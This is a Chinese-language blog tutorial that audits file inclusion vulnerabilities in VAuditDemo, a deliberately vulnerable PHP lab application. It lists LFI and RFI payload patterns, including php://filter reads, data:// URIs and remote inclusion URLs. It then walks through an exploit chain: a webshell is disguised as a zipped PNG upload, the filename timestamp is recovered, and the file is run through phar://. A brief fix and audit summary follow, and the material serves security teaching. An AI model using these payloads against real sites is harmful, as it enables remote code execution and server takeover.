• VAuditDemo-文件包含漏洞的审计


    包含漏洞

    include、require等相关函数,include($file)

    文件包含漏洞的问题在于参数可控(路径、文件名、后缀) include($path.$filename.$ext)

    包含漏洞分类:

    • 1.本地文件包含LFI
    • 2.远程文件包含RFI(allow_url_include默认为Off)

    一、本地文件包含

    • 限制后缀 *.php
      • 伪协议 zip://&phar//
      • 截断大法
    • 日志&环境变量
    • session文件
    • 结合phpinfo()包含临时文件
    • 无后缀限制,包含任意文件
    • 读取任意文件,?file=php://filter/convert.base64-encode/resource=index.php

    二、远程文件包含RFI

    • allow_url_include&&allow_url_fopen=Off
      • 包含共享文件,file=\192.168.1.1sharexxx.php
      • 利用data URIs,?file=data://text://text/plain,base64,SSBsb3ZIFBIUAo=
    • allow_url_fopen=On
      • 远程代码执行?file=[http|https|ftp]://xxx/file
      • 利用XSS执行任意代码?file=http://xxx/xss.php?xss=phpcode
      • 远程代码执行?file=[http|https|ftp]://xxx/file.txt[?|%23]

    index.php

    index.php中存在以下包含代码,可以包含一个.inc结尾的文件。此时我们可以考虑使用伪协议进行绕过。

    <?php
        /* Include */
        if (isset($_GET['module'])){
            include($_GET['module'].'.inc');
            // phar://path/file/xx.inc
        }else{
        ?>

    phar://

    Phar归档最好的特点是可以方便地将多个文件组合成一个文件。因此,phar归档提供了一种方法,可以将完整的PHP应用程序分发到单个文件中,并从该文件运行它,而不需要将其提取到磁盘。此外,PHP可以像执行任何其他文件一样轻松地执行phar归档,无论是在命令行上还是在web服务器上。

    lib.php

    lib.php中已经对上传文件后缀做了严格的限制,但是并未对文件内容进行检测。

    function is_pic( $file_name ) {
        $extend =explode( "." , $file_name );
        $va=count( $extend )-1;
        if ( $extend[$va]=='jpg' || $extend[$va]=='jpeg' || $extend[$va]=='png' ) {
            return 1;
        }
        else
            return 0;
    }

    搜索php处理上传文件的代码$_FILE,找到代码位置,分析上传逻辑。

    <?php
    include_once('../sys/config.php');
    $uploaddir = '../uploads';
    
    if (isset($_POST['submit']) && isset($_FILES['upfile'])) {
    
        if(is_pic($_FILES['upfile']['name'])){ //判断文件后缀
    
            $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];  //构造上传的文件名 u_时间戳_文件名
    
            if (move_uploaded_file($_FILES['upfile']['tmp_name'], $avatar)) {
                //更新用户信息
                $query = "UPDATE users SET user_avatar = '$avatar' WHERE user_id = '{$_SESSION['user_id']}'";
                mysql_query($query, $conn) or die('update error!');
                mysql_close($conn);
                //刷新缓存
                $_SESSION['avatar'] = $avatar; // 将路径存储在session中,使用session进行文件读取操作,并未将文件路径输出。
                header('Location: edit.php');
            }
            else {
                echo 'upload error<br />';
                echo '<a href="edit.php">返回</a>';
            }
        }else{
            echo '只能上傳 jpg png gif!<br />';
            echo '<a href="edit.php">返回</a>';
        }
    }
    else {
        not_find($_SERVER['PHP_SELF']);
    }
    ?>

    全局搜索,判断是否只是通过session读取文件,并不会输出文件路径。搜索$_SESSION['avatar']

    avatar.php:
    
    <?php
    error_reporting(0);
    session_start();
    header("Content-type:image/jpeg");
    echo file_get_contents($_SESSION['avatar']); //LFI
    ?>

    从以上代可以看出并未对文件路径进行输出,但是使用了file_get_contents函数读取了文件的内容。也就是说,当我们通过伪协议读取一个包含了php代码的压缩文件时,其中的php代码将会被执行。

    但是,如果想实现上述构想,就需要先获取到文件名中的时间戳。当我们上传图片时,响应包中将会记录上传操作的时间,我们可以将该时间转换为时间戳,该时间戳一般会和上传文件名中的时间戳相差不大。

    if(is_pic($_FILES['upfile']['name'])){
    
            $avatar = $uploaddir . '/u_'. time(). '_' . $_FILES['upfile']['name'];

    我们先准备一个一句话脚本,将其后缀改为inc,然后将inc文件打包为zip,然后再将后缀改为png。 这样我们的上传文件就制作好了。 v.php-->v.inc-->v.zip-->v.png

    上传文件,同时开启F12查看响应包信息,我们想要的是响应包中的DATA字段的信息。

    ache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
    Connection: Keep-Alive
    Content-Length: 0
    Content-Type: text/html
    Date: Fri, 10 Apr 2020 13:14:12 GMT
    Expires: Thu, 19 Nov 1981 08:52:00 GMT
    Keep-Alive: timeout=5, max=100
    Location: edit.php
    Pragma: no-cache
    Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod_log_rotate/1.02
    X-Powered-By: PHP/5.4.45

    解密时间戳

    将上传响应包中的DATA字段内容,放入下列脚本中即可转换为时间戳。

    <?php
     date_default_timezone_set('UTC');
     echo strtotime('Fri, 10 Apr 2020 13:14:12 GMT');
    ?>
    
    //输出结果如下: 1586524452

    我们可以查看uploads中的文件名,对比一下两个的时间戳。两个是相同的,当然在大多数情况下两个时间可能会存在少许的偏差,此时就我们可以通过遍历最后一位或最后两位,一般就可以找到正确的时间戳。

    1586524452
    u_1586524452_1.png

     

    然后我们就可以使用伪协议进行文件包含了。使用phar来打开压缩包伪图片u_1586524452_1.png,然后读取其中的1.inc文件内容。

    phar://uploads/u_1586524452_1.png/1.inc

    访问以下链接即可解析php内容:

    http://www.code.com/index.php?module=phar://uploads/u_1586524452_1.png/v
    
    POST:
    cmd=phpinfo()
    
    尝试解析phpinfo(),可以成功解析,使用shell管理工具也可以成功连接webshell,说明我们成功包含了文件。

    漏洞修复

    由于已经规定了需要包含文件的后缀为.inc,因此可以从限制文件路径和文件名两个方面进行考虑。可以定义一个数组,只允许包含该数组内已存在的文件的内容。或者限制文件包含的路径,同样只允许包含部分路径的文件。

    审计思路整理

    • 1.index.php通过传入module变量来包含.inc文件
    • 2.使用伪协议zip://&phar://突破
    • 3.updateAvatar.php对文件上传只进行了后缀限制,未进行上传内容检查。
    • 4.将执行上传操作的响应时间转换为时间戳,通过遍历最后几位数字来找到上传文件名中的时间戳,获取上传文件名。
    • 5.通过上传构造好的文件,使用phar伪协议打开并执行其中的.inc文件,当.inc的内容为PHP脚本时,即可解析php内容。
  • 相关阅读:
    [Bzoj2243][SDOI2011]染色(线段树&&树剖||LCT)
    [poj3074]Sudoku(舞蹈链)
    [Bzoj1047][HAOI2007]理想的正方形(ST表)
    [Bzoj1030][JSOI2007]文本生成器(AC自动机&dp)
    [Bzoj2431][HAOI2009]逆序对数列(前缀和优化dp)
    [Bzoj1072][SCOI2007]排列perm(状压dp)
    [Bzoj1195][HNOI2006]最短母串(AC自动机)
    Ajax解决IE浏览器兼容问题
    运行eclipse弹出“Failed to load the JNI shared”解决方法
    Java表单类双击提交
  • 原文地址:https://www.cnblogs.com/micr067/p/12676663.html
Copyright © 2020-2023  润新知